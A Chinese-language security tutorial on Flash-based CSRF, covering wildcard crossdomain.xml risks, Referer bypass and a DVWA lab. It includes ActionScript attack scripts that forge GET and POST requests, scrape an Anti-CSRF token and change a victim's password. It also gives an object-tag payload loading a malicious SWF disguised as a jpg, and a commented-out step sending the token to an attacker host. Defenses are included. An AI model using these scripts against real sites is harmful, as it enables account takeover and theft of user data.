0x01 基本原理

Flash功能丰富,我们可以使用其API来向任意站点发送请求,而且发送的请求会继承当前浏览器的会话。换句话说,我们可以利用Flash而非JavaScript来控制浏览器向目标URL发送请求,从而实现Flash CSRF攻击。

我们知道,通过Flash请求外部资源时,会先访问外域是否存在crossdomain.xml且判断Flash当前域是否在allow-access-from标签配置的domain内。当domain的值为通配符*时,表明该站资源对所有外域开放,等同于舍弃了Flash层面的同源策略的限制。

Flash CSRF在于:如果目标站点的crossdomain.xml中domain值为*或者其中某些domain下的站可被攻击者利用来上传Flash文件等,那么攻击者可以诱使受害者用户访问攻击页面,进而通过触发Flash请求某个用户当前浏览器已登录的页面,从中提取出CSRF的token或者页面的其他敏感信息,造成CSRF攻击。

0x02 攻击场景

使用Flash来发起CSRF攻击,一般用于绕过一些特定情形,下面就列两个常见的。

场景1——绕过Referer等HTTP头字段检测

很多时候,Web站点后台会对Referer字段进行校验,但是有时候会出现未校验无Referer字段等情况的缺陷。

用Flash发起的CSRF,可以去掉HTTP头中的Referer字段,从而可以绕过校验Referer字段(但未校验空Referer)来防御CSRF攻击的机制。除此之外,还能去掉Origin字段。

攻击原理和CSRF一样的,只不过从经典的伪造表单变成了触发swf文件的形式:

  1. 攻击者编写恶意的Flash文件,用于从目标敏感页面中获取受害者的敏感信息或者获取页面的token值;
  2. 攻击者将该Flash文件上传至自己的服务器中,并诱使受害者访问加载该恶意Flash文件的页面;
  3. 受害者访问目标敏感页面后,在同一浏览器中被诱使访问攻击者服务器加载了恶意Flash文件的页面,此时的访问是会带上受害者在目标页面的会话的;
  4. 由于无Referer字段,Bypass了目标站点后台的CSRF防御机制,成功获取到页面token或用户敏感信息,实现了CSRF攻击;

下面举两个不同方式的Demo。

GET方式

首先攻击者发现目标站点的crossdomain.xml存在Flash型CSRF风险:

1
2
3
4
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

然后攻击者编写恶意Flash,用于在目标页面进行危险敏感的GET操作:

1
2
3
4
5
6
7
8
9
10
function CSRF():void
{
var urlLoader:URLLoader=new URLLoader();
var request:URLRequest=new URLRequest();
request.url="http://a.com/m7.php";
request.method=URLRequestMethod.GET;
request.data="user=admin&msg=GET_secret_content";
urlLoader.load(request);
}
CSRF();

编译为swf文件后放置到攻击者的Web目录,然后诱使受害者访问,即可向目标站点通过GET方式带上受害者当前访问该页面的浏览器会话来发送敏感操作的请求:

POST方式

1
2
3
4
5
6
7
8
9
import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://a.com/m7.php");
var shellcode = new URLVariables();
shellcode = "user=admin&msg=POST_hacker_content";
url.method = "POST";
url.data = shellcode;
sendToURL(url);
stop();

诱使受害者访问攻击者的页面后,触发Flash向目标页面发起POST请求,进行危险的操作:

可以明显看到,请求报文并没有Referer字段。

场景2——上传Flash到目标站点绕过crossdomain

有个知识点——Flash并不关心扩展名或者Content-Type。如果使用object标签嵌入文件,只要文件内容为有效的Flash文件,它就会被当作是Flash文件来执行。

简单说下利用过程:

  1. 攻击者发现目标站点的crossdomain.xml中domain设置并不为*,而是几个其他域名;
  2. 攻击者搜索几个白名单域名中的子域名,寻找可上传文件的域名,如victim.com中允许上传图片文件,但校验了文件后缀名和Content-Type;
  3. 攻击者创建恶意Flash文件,并修改后缀名为jpg,然后通过篡改Content-Type将其上传到victim.com中;
  4. 获取到上传文件的地址后,攻击者使用类型为application/x-shockwave-flash的object标签将文件嵌入到攻击者服务器中,如attacker.com;
  5. 受害者访问了victim.com,然后在同一浏览器中被诱使访问attacker.com,触发了攻击者上传的恶意Flash,从而可使攻击者窃取CSRF的token或目标站点页面的敏感信息,实现CSRF攻击;

类似的payload如下:

1
<object style = "height :1px ; width :1px ; " data = "http://victim.com/user/2292/profilepicture.jpg" type = "application / x-shockwave-flash" allowscriptaccess = "always" flashvars = "c = read&u = http://victim.com/secret_file.txt" > </object>

实际攻击利用案例可直接看如下链接,该作者发现了Paypal的Flash CSRF漏洞并在YouTube上进行了漏洞利用的演示:

https://blog.h3xstream.com/2015/04/crossdomainxml-beware-of-wildcards.html

0x03 攻击案例

下面以DVWA的Low级和High级的场景为例进行Flash CSRF的攻击利用。

GET型无Anti-CSRF token

我们知道,Low级的场景非常简单,表单参数通过GET方式传入,无CSRF-token防御机制,也无校验当前密码:

首先,我们查看到目标站点是存在crossdomain.xml文件的,且domain设置为*,明显存在Flash CSRF风险:

接着,我们根据前面看到的表单将前面场景1中的GET方式的代码稍微改下即可:

1
2
3
4
5
6
7
8
9
10
function CSRF():void
{
var urlLoader:URLLoader=new URLLoader();
var request:URLRequest=new URLRequest();
request.url="http://a.com/dvwa/vulnerabilities/csrf/index.php";
request.method=URLRequestMethod.GET;
request.data="password_new=hacker&password_conf=hacker&Change=Change";
urlLoader.load(request);
}
CSRF();

编译成swf文件后,放置到我们自己的服务器中,然后诱使受害者访问我们的恶意swf文件;如果受害者在此之前在同一浏览器中登录了目标站点,那么就会成功触发Flash CSRF攻击,从而密码被篡改:

这里看到,受害者被诱导访问我们服务器上的恶意swf文件后,Flash先向目标服务器访问请求是否存在crossdomain.xml且是否允许当前域访问,当OK后就发送GET方式的恶意表单请求篡改密码。这里注意到右侧的HTTP头字段,由Flash发起的请求会带上用户的会话,Referer为Flash文件所在的地址,同时会添加一个x-flash-version字段用于标志Flash版本信息。

我们发送恶意链接诱使受害者点击访问,自己大概估算个受害者点击访问的时间后,使用admin/hacker用户名密码即可登录成功。

GET型含Anti-CSRF token

在前面的基础上,High级添加了Anti-CSRF token机制,即在修改密码的表单处添加了一项隐藏的token,当用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求:

这时就比Low级多了一步,需要先获取当前表单页面的Anti-CSRF token值,再一起发送篡改密码的请求。

这里我们编写恶意swf文件,主要添加了先让受害者请求表单页面,将返回的响应内容通过正则表达式来匹配出此时Anti-CSRF token的值,然后添加上token参数一同发送GET方式表单请求篡改密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//获取当前页面user_token
var targetURL:String = "http://192.168.43.201/dvwa/vulnerabilities/csrf/index.php";
var request:URLRequest = new URLRequest(targetURL);
request.method = URLRequestMethod.GET;
request.data = "";
sendToURL(request);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,completeHandler);
function completeHandler(event:Event):void{
var user_token:String = loader.data.match("user_token' value='(.*?)'")[1];

//将token发回
//var targetURL2:String = "http://a.com/gettoken.php";
//var request2:URLRequest = new URLRequest(targetURL2);
//request2.method = URLRequestMethod.POST;
//request2.data = "user_token=" + user_token;
//sendToURL(request2);

//发起CSRF攻击,篡改密码
var request3:URLRequest = new URLRequest(targetURL);
request3.method = URLRequestMethod.GET;
request3.data = "password_new=hacker&password_conf=hacker&Change=Change&user_token=" + user_token;
sendToURL(request3);
}
loader.load(request);

和Low级一样的原理,不再累赘,看看效果。

当受害者访问的是low.swf文件时,该文件时不带token的,会修改失败,302重定向回之前的页面:

当受害者访问的是high.swf文件时,带上了token参数,成功进行了密码的篡改:

0x04 检测方法

检查网站的crossdomain.xml文件,如果allow-access-from标签中domain值设置为*则可能存在Flash CSRF漏洞;如果设置domain值为多个外域,需要人工分析是否存在风险。

0x05 防御方法

  • 当站点不需要跨域请求资源时,尽量删除crossdomain.xml文件;
  • 若需crossdomain.xml文件,则必须严格设置allow-access-from标签中domain的白名单;

0x06 参考

The lesser known pitfalls of allowing file uploads on your website

crossdomain.xml : Beware of Wildcards

Flash CSRF – _Dy